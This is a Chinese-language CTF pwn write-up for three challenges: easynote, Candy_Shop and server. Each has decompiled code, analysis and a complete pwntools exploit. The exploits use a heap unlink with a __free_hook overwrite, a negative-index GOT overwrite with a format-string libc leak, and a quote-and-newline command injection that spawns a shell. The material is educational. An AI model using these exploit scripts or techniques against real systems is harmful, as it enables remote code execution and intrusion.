easynote

create:堆大小可以任意分配只要不超过0xFFF

create()
 unsigned __int64 create()
{
int i; // [rsp+0h] [rbp-20h]
unsigned int size; // [rsp+4h] [rbp-1Ch]
void *size_4; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u);
for ( i = 0; *(&chunk_ptr + i); ++i )
;
puts("The length of your content --->");
read(0, buf, 4uLL);
size = atoi(buf);
if ( size > 0xFFF )
{
puts("Are you kidding me?");
exit(0);
}
size_4 = malloc(size);
if ( !size_4 )
{
puts("Here something goes wrong!");
exit(0);
}
puts("Content --->");
read(0, size_4, size);
*(&chunk_ptr + i) = size_4;
return __readfsqword(0x28u) ^ v5;
}

delete:释放之后没做任何处理,存在UAF和Double Free。

delete()
 unsigned __int64 delete()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u);
puts("Index --->");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( !*(&chunk_ptr + v1) )
{
puts("Are you kididng me?");
exit(0);
}
free(*(&chunk_ptr + v1));
puts("done");
return __readfsqword(0x28u) ^ v3;
}

edit:没有对索引进行处理,只要索引处是一个可写的地址就行,而且写入大小也是自己控制,可以伪造堆。

edit()
unsigned __int64 edit()
{
unsigned int v1; // [rsp+8h] [rbp-18h]
unsigned int nbytes; // [rsp+Ch] [rbp-14h]
char nbytes_4; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u);
puts("Index --->");
read(0, &nbytes_4, 4uLL);
v1 = atoi(&nbytes_4);
if ( !*(&chunk_ptr + v1) )
{
puts("Are you kididng me?");
exit(0);
}
puts("The length of your content --->");
read(0, &nbytes_4, 4uLL);
nbytes = atoi(&nbytes_4);
puts("Content --->");
read(0, *(&chunk_ptr + v1), nbytes);
puts("done");
return __readfsqword(0x28u) ^ v4;
} unsigned __int64 show()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u);
puts("Index --->");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( !*(&chunk_ptr + v1) )
{
puts("Are you kididng me?");
exit(0);
}
printf("Content: %s\n", (const char *)*(&chunk_ptr + v1));
puts("done");
return __readfsqword(0x28u) ^ v3;
}

解题思路:

1、创建三个堆块,第一个堆块大小要可以装下一个伪造的堆(不属于fastbin),后两个不属于fastbin就可以。编号:chunk0、chunk1、chunk2。

2、释放chunk0,利用show打印chunk0,获得main_arena+0x58的地址,main_arena的地址在malloc_trim函数里面。计算出libc的基址。

3、重新申请chunk0,写入伪造的堆块,将chunk1的 PREV_INUSE 置为0,释放chunk1,利用unlink修改指向chunk0的地址为伪造的堆块的fd。

4、往chunk_ptr里面写入__free_hook的地址,修改__free_hook为system,释放chunk3(chunk3内容为/bin/sh),获得shell。

需要注意的地方:

main_arena的地址查找

main_arena
 gdb-peda$ heap
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x1209000
Size: 0xa1
fd: 0x7f658cb98b78
bk: 0x7f658cb98b78 Allocated chunk
Addr: 0x12090a0
Size: 0x90 Allocated chunk | PREV_INUSE
Addr: 0x1209130
Size: 0xb1 Top chunk | PREV_INUSE
Addr: 0x12091e0
Size: 0x20e21 gdb-peda$ x 0x7f658cb98b78
0x7f658cb98b78 <main_arena+88>: 0x00000000012091e0
malloc_trim
// 源码
int __malloc_trim(size_t s) {
int result = 0; if (__malloc_initialized < 0)
ptmalloc_init();
mstate ar_ptr = &main_arena; // IDA
__int64 __fastcall malloc_trim(__int64 a1) {
if ( dword_3C4144 < 0 )
sub_854D0();
v21 = 0;
v18 = &dword_3C4B20;

在libc-2.23,main_arena在__malloc_hook + 0x10处

.data:00000000003C4B10                               public __malloc_hook ; weak
.data:00000000003C4B10 A0 58 08 00 00 00 00 00 __malloc_hook dq offset sub_858A0 ; DATA XREF: LOAD:000000000000A380↑o
.data:00000000003C4B10 ; .got:__malloc_hook_ptr↑o
.data:00000000003C4B18 00 00 00 00 00 00 00 00 align 20h
.data:00000000003C4B20 00 00 00 00 dword_3C4B20 dd 0

伪造的堆块需要满足的条件

伪chunk->fd->bk == P && 伪chunk->bk->fd == P(在C语言里面->表示左边的结构体变量的地址+右边成员在左边结构体的偏移量),说最简单些就是伪chunk的fd处的地址指向存在这个伪chunk的地址的地址减去bk(32位为0xC,64位为0x18),还是看图理解吧。

当释放chunk1时因为prev_inuse为0,会向上合并执行unlink,就会将0x0100处的值修改为fd(0x00E8)。这里如果想深入了解可以去阅读libc源码。

exp

from pwn import *

debug = 0
local = 0
host = "node4.buuoj.cn"
port = 27934
filename = "./pwn" def malloc(size, data):
p.sendafter(b'5. exit\n', b'1')
p.sendafter(b'The length of your content --->\n', f'{size}'.encode())
p.sendafter(b'Content --->\n', data) def edit(index, size, data):
p.sendafter(b'5. exit\n', b'2')
p.sendafter(b'Index --->\n', f'{index}'.encode())
p.sendafter(b'The length of your content --->\n', f'{size}'.encode())
p.sendafter(b'Content --->\n', data) def free(index):
p.sendafter(b'5. exit\n', b'3')
p.sendafter(b'Index --->\n', f'{index}'.encode()) def show(index):
p.sendafter(b'5. exit\n', b'4')
p.sendafter(b'Index --->\n', f'{index}'.encode()) p = process(filename) if not debug and local else gdb.debug(filename, "b main\nb *0x400C69") if debug else remote(host, port)
elf = ELF(filename)
libc = ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so") if local else ELF('./libc-2.23.so') chunk = 0x6020C0 malloc(0x98, b'A' * 0x8)
malloc(0x88, b'A' * 0x8)
malloc(0xA8, b'/bin/sh\x00')
free(0)
show(0)
p.recvuntil(b'Content: ')
main_arena_va = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00')) - 0x58
libcbase = main_arena_va - libc.sym['__malloc_hook'] - 0x10
system = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']
print(f'main_arena_va => {hex(main_arena_va)}')
print(f'libcbase => {hex(libcbase)}') malloc(0x98, b'A' * 0x8) # free(): corrupted unsorted chunks
payload = p64(0) + p64(0x91) + p64(chunk - 0x18) + p64(chunk - 0x10)
payload = payload.ljust(0x90, b'\x00')
payload += p64(0x90) + p64(0x90)
edit(0, len(payload), payload)
free(1)
payload = p64(0) * 3 + p64(free_hook)
edit(0, 0x20, payload)
edit(0, 0x8, p64(system))
free(2)
p.interactive()

Candy_Shop

buy_canary:在写入canarys时,索引可以为负数,因为got表在canarys上面可以改写got表,但是要先改一下money(同样也在canarys上面)的值。

buy_canary()
 unsigned __int64 buy_canary()
{
int v1; // [rsp+0h] [rbp-10h] BYREF
char v2[2]; // [rsp+6h] [rbp-Ah] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u);
puts(&s);
printf("You just have %d dollors\n", (unsigned int)money);
puts("(T)hree dollors a Krola");
puts("(t)wo dollors a Slania");
puts("(f)our dollors a Koparia");
printf("Which one you want to bye: ");
getstring(v2, 2LL);
if ( v2[0] == 84 && (unsigned int)money > 2 )
{
money -= 3;
}
else if ( v2[0] == 116 && (unsigned int)money > 1 )
{
money -= 2;
}
else
{
if ( v2[0] != 102 || (unsigned int)money <= 3 )
{
puts("You wanna fool me???");
exit(0);
}
money -= 4;
}
puts("Which pocket would you like to put the candy in?");
printf(": ");
__isoc99_scanf("%d", &v1);
if ( v1 > 2 )
exit(0);
puts("Give your candy a name!");
printf(": ");
getstring((char *)&canarys + 19 * v1, 19LL);
puts("Done!!!");
return v3 - __readfsqword(0x28u);
}

gift:存在格式化字符串漏洞,动态调试可以发现在调用printf时,RCX为write + 23,进而泄露libc地址。

      if ( v3 )
{
puts("Give me your name: ");
getstring(format, 8LL);
printf("booooo!!!!\nyou have received a gift:");
printf(format);
puts(&s);
--v3;
}

解题思路:

利用buy_canary写入got表,修改memset为system,获得shell。

exp

from pwn import *

debug = 0
local = 0
host = "139.155.132.59"
port = 9999
filename = "./pwn" def buy(index, data):
p.sendlineafter(b'option: ', b'b')
p.sendlineafter(b'Which one you want to bye: ', b't')
p.sendlineafter(b': ', f'{index}'.encode())
p.sendlineafter(b': ', data) p = process(filename) if not debug and local else gdb.debug(filename, "b main\n b _buy_canary") if debug else remote(host, port)
elf = ELF(filename)
libc = ELF("./libc.so.6") p.sendlineafter(b'option: ', b'g')
p.sendlineafter(b'Give me your name: \n', b'%3$p')
p.recvuntil(b'0x')
write = int(p.recvuntil(b'\n').strip().decode(), 16) - 23
libcbase = write - libc.sym['write']
printf = libcbase + libc.sym['printf']
system = libcbase + libc.sym['system']
print(f'write => {hex(write)}')
print(f'libcbase => {hex(libcbase)}')
print(f'printf => {hex(printf)}')
print(f'system => {hex(system)}') p.sendlineafter(b'option: ', b'e') # 执行一次memset将memset地址绑定的got表,因为后面要利用memeset获得shell buy(-2, b'\xFF' * 11)
buy(0, b'/bin/sh\x00')
payload = b'A' * 6 + p64(printf) + p64(system)[:-3]
# 这里不使用上面定义的buy是因为,需要把payload写入程序,长度正好是19如果多输入一个\n就会执行gift,还要输入其他内容。
index = -10
p.sendlineafter(b'option: ', b'b')
p.sendlineafter(b'Which one you want to bye: ', b't')
p.sendlineafter(b': ', f'{index}'.encode())
p.sendafter(b': ', payload) p.sendlineafter(b'option: ', b'e')
p.interactive()

server

观察第一个函数里面的s和读入s字符串的长度,观察第二个函数的v1

仔细观察
 unsigned __int64 sub_141A()
{
char s[32]; // [rsp+0h] [rbp-60h] BYREF
char name[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h] v3 = __readfsqword(0x28u);
puts("Hello, CTFer.");
puts("Please input the key of admin : ");
fgets(s, 28, stdin);
snprintf(name, 0x20uLL, "/keys/%s.key", s);
if ( access(name, 0) == -1 )
{
puts("Sorry, you are not winmt.");
}
else
{
puts("Hello, winmt.");
dword_404C = 1;
}
return __readfsqword(0x28u) ^ v3;
} unsigned __int64 sub_16B5()
{
char v1[16]; // [rsp+10h] [rbp-50h] BYREF
char s[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h] v3 = __readfsqword(0x28u);
puts("Hello, winmt.");
puts("Please input the username to add : ");
if ( (unsigned int)sub_14DA(v1) == -1 )
{
puts("Woc! You're a hacker!");
dword_404C = 0;
exit(-1);
}
snprintf(s, 0x30uLL, "add_user -u '%s' -p '888888'", v1);
system(s);
puts("Success!");
return __readfsqword(0x28u) ^ v3;
}

动态调试容易发现漏洞

snprintf只会保留指定长度的字符,输入长一些的字符串绕过access。

 ► 0x5633e609b495    call   access@plt                <access@plt>
name: 0x7ffe2d1f5b60 ◂— '/keys/../////////////////bin/sh'
type: 0x0

登录成功之后发现,两个函数的栈空间里面的变量有重叠的地方,在登录的时候构造合适的字符串,基本不过管第二个函数的过滤。

 ► 0x5633e609b73c    call   snprintf@plt                <snprintf@plt>
s: 0x7ffe2d1f5b60 ◂— '/keys/../////////////////bin/sh'
maxlen: 0x30
format: 0x5633e609c102 ◂— "add_user -u '%s' -p '888888'"
vararg: 0x7ffe2d1f5b50 ◂— "'\n/bin/sh\n" ► 0x5633e609b748 call system@plt <system@plt>
command: 0x7ffe2d1f5b60 ◂— "add_user -u ''\n/bin/sh\n' -p '888888'"

exp

from pwn import *

debug = 0
local = 0
host = "node4.buuoj.cn"
port = 26010
filename = "./pwn_7" p = process(filename) if not debug and local else gdb.debug(filename, "b alarm\nc\nd\nfinis") if debug else remote(host, port)
elf = ELF(filename) p.sendlineafter(b'Your choice >> ', b'1')
p.sendlineafter(b'Please input the key of admin : \n', b'../////////////////bin/sh') p.sendlineafter(b'Your choice >> ', b'2')
p.sendlineafter(b'Please input the username to add : \n', b"'")
p.sendline(b'cat flag')
p.interactive()

DASCTF二进制专项部分Writeup的更多相关文章

  1. 20190815网络与信息安全领域专项赛线上赛misc WriteUp

    目录 签到题 题目内容 使用工具 解题步骤 七代目 题目下载地址 使用工具 解题步骤 亚萨西 题目下载链接 使用工具 解题步骤 24word 题目下载链接 使用工具 解题步骤 感想 几星期前报了名却完 ...

  2. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  3. 《C/C++专项练习》 — (3)

    序 第三次C/C++专项.嗯,要抗住打击,继续加油~ 错题分析与总结 1 . 在64位系统中.有例如以下类: class A { public: void *p1; private: void *p2 ...

  4. We Chall-Training: Encodings I -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  5. 小Writeup

    Misc 100 下载文件之后是一个zip压缩包.因为一开始没有给任何提示信息,题目也什么都没说,爆破了一会无果.同时不是伪加密,所以应该是明文攻击.之后官方给出提示,是一个网址. F12进入调试,发 ...

  6. bugku misc writeup(一个普通的压缩包)

    这个题做了好几个小时,因为没有writeup,一点一点摸索,做题思路写出来给大家交流 首先这是一个zip.rar压缩包,下载下来第一步就是拖进hexeditor中观察,检查下文件的头尾结构是否有问题, ...

  7. BUGKU-逆向(reverse)-writeup

    目录 入门逆向 Easy_vb Easy_Re 游戏过关 Timer(阿里CTF) 逆向入门 love LoopAndLoop(阿里CTF) easy-100(LCTF) SafeBox(NJCTF) ...

  8. 南邮ctf-web的writeup

    WEB 签到题 nctf{flag_admiaanaaaaaaaaaaa} ctrl+u或右键查看源代码即可.在CTF比赛中,代码注释.页面隐藏元素.超链接指向的其他页面.HTTP响应头部都可能隐藏f ...

  9. CTF-i春秋网鼎杯第四场部分writeup

    CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...

  10. 《C/C++专项练习》— (1)

    前言 每每到了一周之计的Monday啊,精神总是不佳,写篇博客提提神儿吧~ 继上次完成<C/C++工程师综合练习卷>后,有事儿没事儿就想刷几道题,赶脚不错,巩固了不少基础知识呢,要坚持哦~ ...

随机推荐

  1. Rainbond的 Gateway API 插件制作实践

    Gateway API 作为新一代的流量管理标准,对原有 Ingress 的扩展不规范.移植性差等问题做出了改进.从兼容K8s生态和优化网关体验出发,Rainbond 支持以插件的形式扩展平台网关能力 ...

  2. vue环境安装与配置

    https://www.jb51.net/article/251371.htmhttps://www.yht7.com/news/193355 一.下载和安装Vue: https://nodejs.o ...

  3. VUE中的next({ ...to, replace: true })

    beforeEach((to, from, next) => { next('/logon') } 上面这串代码我们可以看成为 beforeEach((to, from, next) => ...

  4. EF Core从TPH迁移到TPT

    Intro EF Core支持多种方式处理具有继承关系的表,现在支持TPH.TPC(EF Core 7).TPT,具体的实现方式可以参考官方文档和这篇文章. 大致总结一下不同的方式的区别: TPH:所 ...

  5. 迁移学习《Efficient and Robust Pseudo-Labeling for Unsupervised Domain Adaptation》

    论文信息 论文标题:Efficient and Robust Pseudo-Labeling for Unsupervised Domain Adaptation论文作者:Hochang Rhee.N ...

  6. [Linux]常用命令之【which/whereis/whatis】

    1 which shows the full path of (shell) commands. 显示(系统)命令所在目录 [root@test ~]# which ls alias ls='ls - ...

  7. xtrabackup+MySQL8全备+增备脚本

    问题描述:运用xtrabackup进行mysql全备,mysql8之前使用的是innodbxtrabackup,mysql8之后开始使用xtrabackup,innobackupex把功能都集成到xt ...

  8. 【实践篇】基于CAS的单点登录实践之路

    作者:京东物流 赵勇萍 前言 上个月我负责的系统SSO升级,对接京东ERP系统,这也让我想起了之前我做过一个单点登录的项目.想来单点登录有很多实现方案,不过最主流的还是基于CAS的方案,所以我也就分享 ...

  9. Kubernetes集群调度增强之超容量扩容

    作者:京东科技 徐宪章 1 什么是超容量扩容 超容量扩容功能,是指预先调度一定数量的工作节点,当业务高峰期或者集群整体负载较高时,可以使应用不必等待集群工作节点扩容,从而迅速完成应用横向扩容.通常情况 ...

  10. Shell在日常工作中的应用实践

    作者:京东物流 李光新 1 Shell可以帮我们做什么 作为一名测试开发工程师,在与linux服务器交互过程中,大都遇到过以下这些问题: •一次申请多台服务器,多台服务器需要安装相同软件,配置相同的环 ...